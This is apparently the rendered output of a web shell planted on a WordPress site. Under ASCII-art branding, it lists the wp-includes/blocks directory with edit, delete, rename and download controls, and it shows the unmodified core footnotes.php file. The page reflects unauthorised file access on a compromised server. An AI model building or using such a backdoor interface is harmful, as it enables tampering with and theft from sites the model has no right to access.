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⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦   www.github.com/caterscam 
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Current Dir: /dom834884/wp-includes/blocks/

[DIR] archives [ delete | rename ]
[DIR] audio [ delete | rename ]
[DIR] avatar [ delete | rename ]
[DIR] block [ delete | rename ]
[DIR] button [ delete | rename ]
[DIR] buttons [ delete | rename ]
[DIR] calendar [ delete | rename ]
[DIR] categories [ delete | rename ]
[DIR] code [ delete | rename ]
[DIR] column [ delete | rename ]
[DIR] columns [ delete | rename ]
[DIR] comment-author-name [ delete | rename ]
[DIR] comment-content [ delete | rename ]
[DIR] comment-date [ delete | rename ]
[DIR] comment-edit-link [ delete | rename ]
[DIR] comment-reply-link [ delete | rename ]
[DIR] comment-template [ delete | rename ]
[DIR] comments [ delete | rename ]
[DIR] comments-pagination [ delete | rename ]
[DIR] comments-pagination-next [ delete | rename ]
[DIR] comments-pagination-numbers [ delete | rename ]
[DIR] comments-pagination-previous [ delete | rename ]
[DIR] comments-title [ delete | rename ]
[DIR] cover [ delete | rename ]
[DIR] details [ delete | rename ]
[DIR] embed [ delete | rename ]
[DIR] file [ delete | rename ]
[DIR] footnotes [ delete | rename ]
[DIR] freeform [ delete | rename ]
[DIR] gallery [ delete | rename ]
[DIR] group [ delete | rename ]
[DIR] heading [ delete | rename ]
[DIR] home-link [ delete | rename ]
[DIR] html [ delete | rename ]
[DIR] image [ delete | rename ]
[DIR] latest-comments [ delete | rename ]
[DIR] latest-posts [ delete | rename ]
[DIR] legacy-widget [ delete | rename ]
[DIR] list [ delete | rename ]
[DIR] list-item [ delete | rename ]
[DIR] loginout [ delete | rename ]
[DIR] media-text [ delete | rename ]
[DIR] missing [ delete | rename ]
[DIR] more [ delete | rename ]
[DIR] navigation [ delete | rename ]
[DIR] navigation-link [ delete | rename ]
[DIR] navigation-submenu [ delete | rename ]
[DIR] nextpage [ delete | rename ]
[DIR] page-list [ delete | rename ]
[DIR] page-list-item [ delete | rename ]
[DIR] paragraph [ delete | rename ]
[DIR] pattern [ delete | rename ]
[DIR] post-author [ delete | rename ]
[DIR] post-author-biography [ delete | rename ]
[DIR] post-author-name [ delete | rename ]
[DIR] post-comments-form [ delete | rename ]
[DIR] post-content [ delete | rename ]
[DIR] post-date [ delete | rename ]
[DIR] post-excerpt [ delete | rename ]
[DIR] post-featured-image [ delete | rename ]
[DIR] post-navigation-link [ delete | rename ]
[DIR] post-template [ delete | rename ]
[DIR] post-terms [ delete | rename ]
[DIR] post-title [ delete | rename ]
[DIR] preformatted [ delete | rename ]
[DIR] pullquote [ delete | rename ]
[DIR] query [ delete | rename ]
[DIR] query-no-results [ delete | rename ]
[DIR] query-pagination [ delete | rename ]
[DIR] query-pagination-next [ delete | rename ]
[DIR] query-pagination-numbers [ delete | rename ]
[DIR] query-pagination-previous [ delete | rename ]
[DIR] query-title [ delete | rename ]
[DIR] query-total [ delete | rename ]
[DIR] quote [ delete | rename ]
[DIR] read-more [ delete | rename ]
[DIR] rss [ delete | rename ]
[DIR] search [ delete | rename ]
[DIR] separator [ delete | rename ]
[DIR] shortcode [ delete | rename ]
[DIR] site-logo [ delete | rename ]
[DIR] site-tagline [ delete | rename ]
[DIR] site-title [ delete | rename ]
[DIR] social-link [ delete | rename ]
[DIR] social-links [ delete | rename ]
[DIR] spacer [ delete | rename ]
[DIR] table [ delete | rename ]
[DIR] tag-cloud [ delete | rename ]
[DIR] template-part [ delete | rename ]
[DIR] term-description [ delete | rename ]
[DIR] text-columns [ delete | rename ]
[DIR] verse [ delete | rename ]
[DIR] video [ delete | rename ]
[DIR] widget-group [ delete | rename ]
[FILE] archives.php [ edit | delete | rename | download ]
[FILE] avatar.php [ edit | delete | rename | download ]
[FILE] block.php [ edit | delete | rename | download ]
[FILE] blocks-json.php [ edit | delete | rename | download ]
[FILE] button.php [ edit | delete | rename | download ]
[FILE] calendar.php [ edit | delete | rename | download ]
[FILE] categories.php [ edit | delete | rename | download ]
[FILE] comment-author-name.php [ edit | delete | rename | download ]
[FILE] comment-content.php [ edit | delete | rename | download ]
[FILE] comment-date.php [ edit | delete | rename | download ]
[FILE] comment-edit-link.php [ edit | delete | rename | download ]
[FILE] comment-reply-link.php [ edit | delete | rename | download ]
[FILE] comment-template.php [ edit | delete | rename | download ]
[FILE] comments-pagination-next.php [ edit | delete | rename | download ]
[FILE] comments-pagination-numbers.php [ edit | delete | rename | download ]
[FILE] comments-pagination-previous.php [ edit | delete | rename | download ]
[FILE] comments-pagination.php [ edit | delete | rename | download ]
[FILE] comments-title.php [ edit | delete | rename | download ]
[FILE] comments.php [ edit | delete | rename | download ]
[FILE] cover.php [ edit | delete | rename | download ]
[FILE] file.php [ edit | delete | rename | download ]
[FILE] footnotes.php [ edit | delete | rename | download ]
[FILE] gallery.php [ edit | delete | rename | download ]
[FILE] heading.php [ edit | delete | rename | download ]
[FILE] home-link.php [ edit | delete | rename | download ]
[FILE] image.php [ edit | delete | rename | download ]
[FILE] index.php [ edit | delete | rename | download ]
[FILE] latest-comments.php [ edit | delete | rename | download ]
[FILE] latest-posts.php [ edit | delete | rename | download ]
[FILE] legacy-widget.php [ edit | delete | rename | download ]
[FILE] list.php [ edit | delete | rename | download ]
[FILE] loginout.php [ edit | delete | rename | download ]
[FILE] media-text.php [ edit | delete | rename | download ]
[FILE] navigation-link.php [ edit | delete | rename | download ]
[FILE] navigation-submenu.php [ edit | delete | rename | download ]
[FILE] navigation.php [ edit | delete | rename | download ]
[FILE] page-list-item.php [ edit | delete | rename | download ]
[FILE] page-list.php [ edit | delete | rename | download ]
[FILE] pattern.php [ edit | delete | rename | download ]
[FILE] post-author-biography.php [ edit | delete | rename | download ]
[FILE] post-author-name.php [ edit | delete | rename | download ]
[FILE] post-author.php [ edit | delete | rename | download ]
[FILE] post-comments-form.php [ edit | delete | rename | download ]
[FILE] post-content.php [ edit | delete | rename | download ]
[FILE] post-date.php [ edit | delete | rename | download ]
[FILE] post-excerpt.php [ edit | delete | rename | download ]
[FILE] post-featured-image.php [ edit | delete | rename | download ]
[FILE] post-navigation-link.php [ edit | delete | rename | download ]
[FILE] post-template.php [ edit | delete | rename | download ]
[FILE] post-terms.php [ edit | delete | rename | download ]
[FILE] post-title.php [ edit | delete | rename | download ]
[FILE] query-no-results.php [ edit | delete | rename | download ]
[FILE] query-pagination-next.php [ edit | delete | rename | download ]
[FILE] query-pagination-numbers.php [ edit | delete | rename | download ]
[FILE] query-pagination-previous.php [ edit | delete | rename | download ]
[FILE] query-pagination.php [ edit | delete | rename | download ]
[FILE] query-title.php [ edit | delete | rename | download ]
[FILE] query-total.php [ edit | delete | rename | download ]
[FILE] query.php [ edit | delete | rename | download ]
[FILE] read-more.php [ edit | delete | rename | download ]
[FILE] require-dynamic-blocks.php [ edit | delete | rename | download ]
[FILE] require-static-blocks.php [ edit | delete | rename | download ]
[FILE] rss.php [ edit | delete | rename | download ]
[FILE] search.php [ edit | delete | rename | download ]
[FILE] shortcode.php [ edit | delete | rename | download ]
[FILE] site-logo.php [ edit | delete | rename | download ]
[FILE] site-tagline.php [ edit | delete | rename | download ]
[FILE] site-title.php [ edit | delete | rename | download ]
[FILE] social-link.php [ edit | delete | rename | download ]
[FILE] tag-cloud.php [ edit | delete | rename | download ]
[FILE] template-part.php [ edit | delete | rename | download ]
[FILE] term-description.php [ edit | delete | rename | download ]
[FILE] widget-group.php [ edit | delete | rename | download ]

Viewing: /dom834884/wp-includes/blocks/footnotes.php

<?php
/**
 * Server-side rendering of the `core/footnotes` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/footnotes` block on the server.
 *
 * @since 6.3.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the HTML representing the footnotes.
 */
function render_block_core_footnotes( $attributes, $content, $block ) {
	// Bail out early if the post ID is not set for some reason.
	if ( empty( $block->context['postId'] ) ) {
		return '';
	}

	if ( post_password_required( $block->context['postId'] ) ) {
		return;
	}

	$footnotes = get_post_meta( $block->context['postId'], 'footnotes', true );

	if ( ! $footnotes ) {
		return;
	}

	$footnotes = json_decode( $footnotes, true );

	if ( ! is_array( $footnotes ) || count( $footnotes ) === 0 ) {
		return '';
	}

	$wrapper_attributes = get_block_wrapper_attributes();
	$footnote_index     = 1;

	$block_content = '';

	foreach ( $footnotes as $footnote ) {
		// Translators: %d: Integer representing the number of return links on the page.
		$aria_label     = sprintf( __( 'Jump to footnote reference %1$d' ), $footnote_index );
		$block_content .= sprintf(
			'<li id="%1$s">%2$s <a href="#%1$s-link" aria-label="%3$s">↩︎</a></li>',
			$footnote['id'],
			$footnote['content'],
			$aria_label
		);
		++$footnote_index;
	}

	return sprintf(
		'<ol %1$s>%2$s</ol>',
		$wrapper_attributes,
		$block_content
	);
}

/**
 * Registers the `core/footnotes` block on the server.
 *
 * @since 6.3.0
 */
function register_block_core_footnotes() {
	register_block_type_from_metadata(
		__DIR__ . '/footnotes',
		array(
			'render_callback' => 'render_block_core_footnotes',
		)
	);
}
add_action( 'init', 'register_block_core_footnotes' );


/**
 * Registers the footnotes meta field required for footnotes to work.
 *
 * @since 6.5.0
 */
function register_block_core_footnotes_post_meta() {
	$post_types = get_post_types( array( 'show_in_rest' => true ) );
	foreach ( $post_types as $post_type ) {
		// Only register the meta field if the post type supports the editor, custom fields, and revisions.
		if (
			post_type_supports( $post_type, 'editor' ) &&
			post_type_supports( $post_type, 'custom-fields' ) &&
			post_type_supports( $post_type, 'revisions' )
		) {
			register_post_meta(
				$post_type,
				'footnotes',
				array(
					'show_in_rest'      => true,
					'single'            => true,
					'type'              => 'string',
					'revisions_enabled' => true,
				)
			);
		}
	}
}
/*
 * Most post types are registered at priority 10, so use priority 20 here in
 * order to catch them.
*/
add_action( 'init', 'register_block_core_footnotes_post_meta', 20 );

/**
 * Adds the footnotes field to the revisions display.
 *
 * @since 6.3.0
 *
 * @param array $fields The revision fields.
 * @return array The revision fields.
 */
function wp_add_footnotes_to_revision( $fields ) {
	$fields['footnotes'] = __( 'Footnotes' );
	return $fields;
}
add_filter( '_wp_post_revision_fields', 'wp_add_footnotes_to_revision' );

/**
 * Gets the footnotes field from the revision for the revisions screen.
 *
 * @since 6.3.0
 *
 * @param string $revision_field The field value, but $revision->$field
 *                               (footnotes) does not exist.
 * @param string $field          The field name, in this case "footnotes".
 * @param object $revision       The revision object to compare against.
 * @return string The field value.
 */
function wp_get_footnotes_from_revision( $revision_field, $field, $revision ) {
	return get_metadata( 'post', $revision->ID, $field, true );
}
add_filter( '_wp_post_revision_field_footnotes', 'wp_get_footnotes_from_revision', 10, 3 );


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